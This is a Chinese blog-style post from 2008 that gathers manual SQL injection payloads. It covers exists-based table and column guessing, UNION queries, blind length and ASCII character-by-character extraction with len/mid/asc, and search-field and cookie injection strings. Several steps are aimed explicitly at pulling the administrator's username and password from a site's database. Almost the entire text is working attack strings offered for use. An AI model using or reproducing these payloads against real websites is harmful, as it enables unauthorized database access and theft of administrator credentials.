首页 电脑 电脑学堂 查看内容

手工注入猜解语句

2008-7-28 17:49 784 0

摘要: 自己在学习过程中总结的一些东西,在这发出来,希望对看到的人能有所帮助吧!猜解表名:and exists (select * from 表名)猜解列名:and exists (select 字段 fro...
关键词: select 语句 ASC 长度 top 管理员 ASCII javascript cookie Mid

自己在学习过程中总结的一些东西,在这发出来,希望对看到的人能有所帮助吧!猜解表名:and exists (select * from 表名)猜解列名:and exists (select 字段 from 表名)UNION法:联合查询:select name,password,id from user union select user,pwd,uid from爆指定表名内容:and 1=1 union select 1,2,3,4,5 from 表名ASCII逐字解码法:1、猜解列长度猜解语句:and (select top 1 len(列名)from 表名)>Nand (select top 1 len(列名)from 表名)=N其中N是数字,变换这个N的值猜解列长度,例如:and (select top 1 len(列名)from 表名)>1and (select top 1 len(列名)from 表名)>6如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:select top 1 len(列名) from 表名where 列名 not in (select top 1 列名 from 表名)2、ASCII码分析法猜解用户和密码ASC()函数和Mid函数例如:mid(列名,N,1)ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)区间判断语句:“......between......and......”中文处理法:当ASCII转换后为“负数”使用abs()函数取绝对值。例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码(通过转换工具换)ASCII逐字解码法的应用:1、猜解表名:and (select count(*) from admin)<>02、猜解列名:and (select count(列名) from 表名)<>03、猜解管理员用户个数:and (select count(*) from 表名)=1返回正常,表中有一条记录。4、猜解管理员用户名的长度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。5、猜解管理员用户名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值6、猜解管理员的密码:按照上面的原理,只要把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到管理员的密码了。搜索型注入漏洞利用猜解语句:关键字%' and 1=1 and '%'='%关键字%' and 1=2 and '%'='%将and 1=1 换成注入语句就可以了。cookie注入语句:javascript:alert(document.cookie="id="+escape("44 and 1=1"));javascript:alert(document.cookie="id="+escape("44 and 1=2"));猜解语句:猜解长度:javascript:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16"))猜解内容:javascript:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部